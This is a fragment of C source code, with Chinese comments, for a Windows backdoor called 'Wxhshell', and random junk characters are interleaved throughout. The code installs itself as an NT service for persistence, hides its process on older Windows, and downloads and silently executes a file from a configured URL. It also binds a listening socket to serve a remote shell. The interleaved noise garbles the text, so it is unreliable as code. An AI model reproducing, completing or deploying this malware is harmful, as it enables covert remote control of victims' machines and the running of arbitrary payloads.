ONy9 ?UZyu4O% if (!NtQueryInformationProcess) return 0; GM92yi!8 #SUq.A hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `I:,[3_/ if(!hProcess) return 0; +0042Yi LOo# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WY UU- s8O+&^(U CloseHandle(hProcess); g9Qxf% } nUu|}11 ( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); , |B\[0p if(hProcess==NULL) return 0; &BR?;LD =!Cvu.~}, HMODULE hMod; ]8z6gDp char procName[255]; ' vClZGQ1 unsigned long cbNeeded; mTbPzZ4 LKG|S<s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tH!z7VZ d'J?QH!N0 CloseHandle(hProcess); N%i<DsK.u6 9~af\G if(strstr(procName,"services")) return 1; // 以服务启动 {u][q
&n id9T[^h return 0; // 注册表启动 Q)dns)_x } 9_dsiM7CT :CHd\."%+1 // 主模块 lO@Ba;x int StartWxhshell(LPSTR lpCmdLine) M57(,#g { sbIhg/:ok SOCKET wsl; ZU6a BOOL val=TRUE; 4<HJD&@V int port=0; $ {"St&( struct sockaddr_in door; p0@mumh <6 $%Y2 if(wscfg.ws_autoins) Install(); ]<_+uciP5[ t`{Fnf port=atoi(lpCmdLine); hidweg*7 t0(hc7` if(port<=0) port=wscfg.ws_port; ,5WDYk- <:o><f+ WSADATA data; wAPdu y[ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $*ZHk0
7x Re>e|$.T if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }_TdXY
#w\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8h2?Q door.sin_family = AF_INET; [b'fz door.sin_addr.s_addr = inet_addr("127.0.0.1"); KfS^sT door.sin_port = htons(port); } 4^UVdz >{8H==P if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3 g&mND closesocket(wsl); rKq]zHgpo return 1; mK4A/bsE } - d6> ["9$HL if(listen(wsl,2) == INVALID_SOCKET) { ('oUcDOFTS closesocket(wsl); J ASn\z return 1; sP!qv"u } mer{Jys Wxhshell(wsl); Rl8-a8j$f. WSACleanup(); ~VKXL,. $T0[ return 0; sP7 (1)\ 2e=Hjf
)
} $4]PN2d& gd*?kXpt // 以NT服务方式启动 WdnP[x9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ozG:f*{T { eU0-_3gN_ DWORD status = 0; [5-5tipvWp DWORD specificError = 0xfffffff; yFqC-t-i gw^+[}U# serviceStatus.dwServiceType = SERVICE_WIN32; ~E~J*R Ze serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^DOcw@Z6HC serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FW,D\51pTP serviceStatus.dwWin32ExitCode = 0; Y@eUvz serviceStatus.dwServiceSpecificExitCode = 0; L&%iY7sC` serviceStatus.dwCheckPoint = 0; cCs:z serviceStatus.dwWaitHint = 0; .}wir, N0f}q1S<-A hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m~A/.t%= if (hServiceStatusHandle==0) return; t=#)3C`Q} I 3PnyNZ status = GetLastError(); PHkvt!uH if (status!=NO_ERROR) "AVc^> { !T)>q%@ai serviceStatus.dwCurrentState = SERVICE_STOPPED; 3[4]G@ serviceStatus.dwCheckPoint = 0; NGu]|p serviceStatus.dwWaitHint = 0; e^QOn serviceStatus.dwWin32ExitCode = status; 25r=Xv serviceStatus.dwServiceSpecificExitCode = specificError; TPuzL(ws SetServiceStatus(hServiceStatusHandle, &serviceStatus); C'#:}]@E return; kLP^q+$u)! } sBMHf9u ej `$-hBBV serviceStatus.dwCurrentState = SERVICE_RUNNING; t~Ax#H serviceStatus.dwCheckPoint = 0; &XP 0 serviceStatus.dwWaitHint = 0; Z "u/8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $9/r*@bu8d } q6dq@ S6
*dp68 // 处理NT服务事件,比如:启动、停止 .67W\p VOID WINAPI NTServiceHandler(DWORD fdwControl) "]<Ut{Xb { .xx9tP}Xy switch(fdwControl) AyDK-8a { wpdT " case SERVICE_CONTROL_STOP: t$J-6dW serviceStatus.dwWin32ExitCode = 0; <G={Vfr serviceStatus.dwCurrentState = SERVICE_STOPPED; aryr serviceStatus.dwCheckPoint = 0; ak zb<aT serviceStatus.dwWaitHint = 0; eJ'ojc3 { jiat5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); d
{4br } =z+zg^wsT return; OB%y'mo7] case SERVICE_CONTROL_PAUSE: fi1UUJ0
U; serviceStatus.dwCurrentState = SERVICE_PAUSED; -c
tZ9+LL break; be_t;p`3 case SERVICE_CONTROL_CONTINUE: 'JydaF~> serviceStatus.dwCurrentState = SERVICE_RUNNING; !VW#hc\A5 break; ?`xId;}J#7 case SERVICE_CONTROL_INTERROGATE: Tym!7H2 break; :
SNp"| }; w[iQndu SetServiceStatus(hServiceStatusHandle, &serviceStatus); WG,{:|!E } IaB
A 2 #X+) // 标准应用程序主函数 #oaX<, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7K~=Q Ec { SFHa(JOS [M.Vu // 获取操作系统版本 > 01k
u OsIsNt=GetOsVer(); I/adzLQ GetModuleFileName(NULL,ExeFile,MAX_PATH); J
GdVSjNC d 9|u~3 // 从命令行安装 PF~&!~S>W if(strpbrk(lpCmdLine,"iI")) Install(); 4D8q Gti f`Nu]#i // 下载执行文件 {,m!%FDL if(wscfg.ws_downexe) { L_(|5#IDw if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {r"HR%*u WinExec(wscfg.ws_filenam,SW_HIDE); lH[N*9G( } OtJS5A yR&E6o.$z if(!OsIsNt) { "2)T=vHi# // 如果时win9x,隐藏进程并且设置为注册表启动 s<myZ T$ HideProc(); M:A7=rO~ StartWxhshell(lpCmdLine); g#e"BBm=A } 7Y-GbG.' else F~m tE8B: if(StartFromService()) wXP1tM8T // 以服务方式启动 cla4%|kq3Y StartServiceCtrlDispatcher(DispatchTable); n`6vM4rM) else W!{uEH{%l // 普通方式启动 3E#acnqn* StartWxhshell(lpCmdLine); (g 8K?Q ?/;<32cE, return 0; &{$\]sv }
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